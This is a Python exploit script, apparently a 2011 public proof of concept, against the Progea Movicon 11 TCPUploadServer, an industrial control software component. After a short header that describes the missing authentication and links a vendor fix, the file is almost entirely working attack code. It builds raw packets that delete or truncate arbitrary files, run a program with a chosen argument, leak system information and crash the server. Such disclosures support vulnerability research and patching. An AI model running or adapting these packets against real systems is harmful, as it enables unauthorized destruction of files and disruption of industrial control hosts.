#!/usr/bin/python

movi.py

Progea Movicon TCPUploadServer Remote Exploit

Jeremy Brown / jbrown at patchtuesday dot org

Mar 2011

TCPUploadServer allows remote users to execute functions on the server

without any form of authentication. Impacts include deletion of arbitrary

files, execution of a program with an arbitrary argument, crashing the

server, information disclosure, and more. This design flaw puts the host

running this server at risk of potentially unauthorized functions being

executed on the system.

Tested on Progea Movicon 11 TCPUploadServer running on Windows

Fix: http://support.progea.com/download/Mov11.2_Setup.zip

import sys
import socket

hdr="MovX"

funcs=(1,2,3,4,5,6,7,8) # "B" is listed as 8 only for convience. other functions include (the real) 8, 9, A, and V

if len(sys.argv)<3:
print "Progea Movicon TCPUploadServer Remote Exploit"
print "Usage: %s <target> <function> [data]"%sys.argv[0]
print "\nWhat would you like to do?\n"
print "[1] Create a folder"
print "[2] Overwrite a file with NULL and cause 100%% CPU"
print "[3] Delete a file"
print "[4] Execute moviconRunTime.exe with a specified argument"
print "[5] Create a desktop shortcut"
print "[6] Retrieve drive information"
print "[7] Retrieve os service pack"
print "[8] Crash the server\n"
print "* Default data is \"test\""
sys.exit(0)

target=sys.argv[1]
port=10651
cs=target,port

func=int(sys.argv[2])

if len(sys.argv)==4:
data=sys.argv[3]
else:
data="test"

if func not in funcs:
print "Invalid function"
sys.exit(1)

if(func==1):
print "Crafting a packet to create the folder \"%s\"…"%data
pkt=hdr+"1"+"B"+data+"\x00"*(66-len(data))

elif(func==2):
print "Crafting a packet to truncate (or create) the file \"%s\" to 0 bytes and cause 100%% CPU…"%data
pkt=hdr+"2"+"B"+data+"\x00"*(66-len(data))
# O_RDWR|O_CREAT|O_TRUNC, might be more to this, it's supposedly a copy function, but i'm moving on

elif(func==3):
print "Crafting a packet to delete the file \"%s\"…"%data
pkt=hdr+"3"+"B"+data+"\x00"*(66-len(data))

elif(func==4):
print "Crafting a packet to execute moviconRunTime.exe with the argument \"%s\"…"%data
pkt=hdr+"4"+"BB"+data+"\x00"*(65-len(data))

elif(func==5):
print "Crafting a packet to create a desktop shortcut with the name (also appended to the link path) \"%s\"…"%data
pkt=hdr+"5"+"B"+data+"\x00"*(66-len(data))

elif(func==6):
print "Crafting a packet to retrieve drive information…"
pkt=hdr+"6"+"\x01"

elif(func==7):
print "Crafting a packet to retrieve os service pack…"
pkt=hdr+"7"+"\x00"

elif(func==8):
print "Crafting a packet to crash the server…"
pkt=hdr+"B"+"\x00"

sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect(cs)

sock.send(pkt)
sock.send(pkt)

print "\nPacket sent!"

if((func==6)|(func==7)):
info=sock.recv(128)

 if(info):
      print "\nRetrieved info:\n"
      if(func==6):
           print "%s"%info[6:]
      elif(func==7):
           print "%s"%info[22:]
 else:
      print "\nNo info"

sock.close()